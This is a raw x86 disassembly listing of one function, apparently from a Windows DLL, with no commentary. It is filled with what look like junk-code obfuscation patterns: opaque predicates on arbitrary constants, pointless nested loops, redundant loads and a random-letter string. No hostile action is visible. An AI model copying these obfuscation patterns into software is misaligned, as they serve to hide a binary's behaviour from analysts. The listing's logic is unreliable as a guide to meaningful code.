cmp eax, edx
setle cl
imul ecx, dword [ebp - 0x18]
cmp ecx, 1
je 0x1002aea4
cmp dword [ebp - 0x1c], ebx
je 0x1002aea4
xor ecx, ecx
inc ecx
jmp 0x1002aea6
mov ecx, ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
add edx, 0xad7b
cmp edx, eax
setge cl
imul eax, ecx, 0xd5f4
test eax, eax
je 0x1002aecf
cmp dword [ebp - 0x20], ebx
jne 0x1002aed8
cmp dword [ebp - 0x18], ebx
jne 0x1002aed8
mov eax, ebx
jmp 0x1002aedb
xor eax, eax
inc eax
cmp dword [ebp - 0x18], eax
jge 0x1002af1c
mov dword [ebp - 0x2c], 0xfffffff7
mov eax, dword [ebp - 0x20]
neg eax
jne 0x1002aef7
cmp dword [ebp - 0x2c], ebx
jne 0x1002aef7
mov eax, ebx
jmp 0x1002aefa
xor eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x35], bl
cmp byte [ebp - 0x35], 0
je 0x1002af3d
push 0x240f
sub esp, 0xc
mov edx, 0x5d5c
mov cl, 1
call fcn.10024aa3
jmp 0x1002af3a
lea eax, [ebp - 0x91]
mov byte [ebp - 0x91], bl
push eax
push 1
push 0x19b6
push 0x3ca
call fcn.10024ba6
add esp, 0x10
mov byte [ebp - 0xc4], bl
lea ecx, [ebp - 0x390]
mov dword [ebp - 0xc3], 0xafea04fc
mov word [ebp - 0xbf], 0x2599
mov dword [ebp - 0x1c], 0xf365
mov dword [ebp - 0x20], ebx
push edi
call fcn.10006b10
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x2c], 0x5169ff4c
mov dword [ebp - 0x18], ebx
jmp 0x1002af93
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x12c], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1002af86
mov dword [ebp - 0x28], 0x6948
cmp dword [ebp - 0x28], 0x6a19
jle 0x1002b015
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov eax, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov esi, ebx
add eax, edi
mov ecx, esi
shl eax, cl
lea ecx, [ebp - 0x508]
cdq
push edx
push eax
call fcn.10001ac9
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002afd6
mov eax, dword [eax]
push eax
call fcn.1004e1ed
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x508]
call fcn.100073ae
mov eax, dword [ebp - 0x20]
inc esi
cmp esi, 0x79d
jl 0x1002afb8
inc edi
cmp edi, 0x7d4d
jl 0x1002afb6
mov dword [ebp - 0x18], ebx
jmp 0x1002b02a
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x390]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002b01a
cmp dword [ebp - 0x28], 0x6770
jge 0x1002b043
mov dword [ebp - 0x2c], 0x1dd1
cmp dword [ebp - 0x2c], 0x216a
jle 0x1002c72e
mov esi, ebx
mov edi, ebx
mov eax, esi
lea ecx, [ebp - 0x544]
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10001ac9
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002c707
mov eax, dword [eax]
push eax
call fcn.1004e1ed
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x544]
call fcn.100073ae
inc edi
cmp edi, 0x69a7
jl 0x1002c6e8
inc esi
cmp esi, 0x6c2e
jl 0x1002c6e6
cmp dword [ebp - 0x2c], 0x1b79
jge 0x1002c742
push str.pmltgsrbm_sezw_ryfwvst_jsrkl_kffz_evlclrula_jgqniwzzh_laonwm_cds_btkt_dmuatwmxv_ysjncrqzb_txa
call fcn.1004e1ed
pop ecx
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x4a0]
movdqa xmm0, xmmword [0x10073880]
lea ecx, [ebp - 0x188]
push 3
pop esi
push dword [ebp - 0x26c]
mov dword [ebp - 0x44], esi
push eax
lea eax, [ebp - 0x4b0]
mov dword [ebp - 0x188], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x4b0], xmm0
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x180], ebx
call fcn.1000bd43
mov dword [ebp - 4], 0x4d
lea ecx, [ebp - 0x414]
mov dword [ebp - 0x9c], esi
mov dword [ebp - 0x34], 0x69b1
push 2
call fcn.10006b10
push 1
lea eax, [ebp - 0x414]
mov byte [ebp - 4], 0x4e
push eax
push 0x1cdd
push ecx
lea eax, [ebp - 0x424]
mov ecx, 0xc04
push eax
call fcn.10025a27
add esp, 0x14
cmp dword [ebp - 0x44], ebx
jne 0x1002c82b
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, 0xe24307a3
setge cl
cmp eax, ecx
mov ecx, dword [ebp - 0x44]
sbb eax, eax
shl ecx, 3
neg eax
imul eax, eax, 0xd5b6
sub ecx, eax
mov eax, dword [ebp - 0x188]
mov dword [eax + 0xc], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jne 0x1002c82b
mov eax, ebx
jmp 0x1002c82e
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x44]
jl 0x1002c872
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x44], 0xffffffe4
jmp 0x1002c867
mov dword [ebp - 0x20], ebx
jmp 0x1002c859
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x454], 0xfff8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1002c848
inc dword [ebp - 0x44c]
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xffffffee
jg 0x1002c843
jmp 0x1002c90e
push 0x5e80
push ecx
lea eax, [ebp - 0x414]
mov dword [ebp - 0x214], 0x8f438361
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x18c], 0xb861
push eax
lea eax, [ebp - 0x18c]
mov dword [ebp - 0x264], 0xffffffff
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x188]
push eax
push ecx
push 0x11fc
mov cl, 1
call fcn.10028a40
add esp, 0x28
mov dword [ebp - 0x9c], ebx
jmp 0x1002c905
push ecx
push 1
mov edx, 0x13fd
mov ecx, 0x76d5
call fcn.10028b42
pop ecx
pop ecx
push ebx
push ecx
lea eax, [ebp - 0x264]
mov edx, 0x31a4
push eax
call fcn.10027e3d
add esp, 0xc
inc dword [ebp - 0x9c]
cmp dword [ebp - 0x9c], 0x2d
je 0x1002c8d5
lea ecx, [ebp - 0x414]
call fcn.10006b72
lea ecx, [ebp - 0x188]
call fcn.10006b72
mov ecx, dword [ebp - 0xc]
mov eax, 0x1009a30c
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret